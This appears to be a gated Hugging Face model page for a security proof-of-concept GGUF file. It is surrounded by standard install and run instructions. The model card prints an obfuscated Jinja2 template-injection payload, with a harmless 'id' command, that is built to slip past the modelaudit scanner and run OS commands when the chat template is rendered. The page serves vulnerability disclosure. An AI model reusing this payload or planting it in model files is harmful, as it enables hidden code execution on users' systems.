Instructions to use emaadbs/modelaudit-gguf-ssti-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Notebooks
- Google Colab
- Kaggle
- Local Apps Settings
- llama.cpp
How to use emaadbs/modelaudit-gguf-ssti-poc with llama.cpp:
Install (macOS, Linux)
curl -LsSf https://llama.app/install.sh | sh # Start a local OpenAI-compatible server with a web UI: llama serve -hf emaadbs/modelaudit-gguf-ssti-poc # Run inference directly in the terminal: llama cli -hf emaadbs/modelaudit-gguf-ssti-poc
Install from WinGet (Windows)
winget install llama.cpp # Start a local OpenAI-compatible server with a web UI: llama serve -hf emaadbs/modelaudit-gguf-ssti-poc # Run inference directly in the terminal: llama cli -hf emaadbs/modelaudit-gguf-ssti-poc
Use pre-built binary
# Download pre-built binary from: # https://github.com/ggerganov/llama.cpp/releases # Start a local OpenAI-compatible server with a web UI: ./llama-server -hf emaadbs/modelaudit-gguf-ssti-poc # Run inference directly in the terminal: ./llama-cli -hf emaadbs/modelaudit-gguf-ssti-poc
Build from source code
git clone https://github.com/ggerganov/llama.cpp.git cd llama.cpp cmake -B build cmake --build build -j --target llama-server llama-cli # Start a local OpenAI-compatible server with a web UI: ./build/bin/llama-server -hf emaadbs/modelaudit-gguf-ssti-poc # Run inference directly in the terminal: ./build/bin/llama-cli -hf emaadbs/modelaudit-gguf-ssti-poc
Use Docker
docker model run hf.co/emaadbs/modelaudit-gguf-ssti-poc
- LM Studio
- Jan
- Ollama
How to use emaadbs/modelaudit-gguf-ssti-poc with Ollama:
ollama run hf.co/emaadbs/modelaudit-gguf-ssti-poc
- Unsloth Desktop
- Docker Model Runner
How to use emaadbs/modelaudit-gguf-ssti-poc with Docker Model Runner:
docker model run hf.co/emaadbs/modelaudit-gguf-ssti-poc
- Lemonade
How to use emaadbs/modelaudit-gguf-ssti-poc with Lemonade:
Pull the model
# Download Lemonade from https://lemonade-server.ai/ lemonade pull emaadbs/modelaudit-gguf-ssti-poc
Run and chat with the model
lemonade run user.modelaudit-gguf-ssti-poc-{{QUANT_TAG}}List all available models
lemonade list
- Atomic Chat
docker model run hf.co/emaadbs/modelaudit-gguf-ssti-pocYou need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
This repository contains a deliberately malicious model file submitted as a security proof-of-concept to the Protect AI / huntr Model File Vulnerability program. Access is granted only to the program's automated scanner and triage team. Do not load this file outside an isolated sandbox.
Log in or Sign Up to review the conditions and access this model content.
PoC β modelaudit GGUF chat-template SSTI scanner evasion (DO NOT USE)
This repo exists only as a security proof-of-concept for a huntr Model File
Vulnerability disclosure. The single artifact, poc.gguf, is a malicious
GGUF model whose tokenizer.chat_template is crafted to:
- pass
modelaudit(Protect AI Guardian / HF model scan) as CLEAN β 0 findings, while - executing an arbitrary OS command when the chat template is rendered by an unsandboxed Jinja2 renderer (the CVE-2024-34359 class).
The embedded command in the published PoC is a harmless system('id') /
touch <tmp marker> β it demonstrates execution without doing damage.
poc.ggufsha256:96bb3bd496503fdf6a01a9d0f230612869f7479bdcffb8cccaf20d33734c44f9- Payload (in
tokenizer.chat_template):{% if messages %}{{ lipsum['__glo'~'bals__']['o'~'s'].system('id') }}{% endif %}
Full root-cause, decomposition, reproduction, and remediation are in the huntr disclosure report. Do not load this model outside an isolated sandbox.
- Downloads last month
- 2
We're not able to determine the quantization variants.
# Gated model: Login with a HF token with gated access permission hf auth login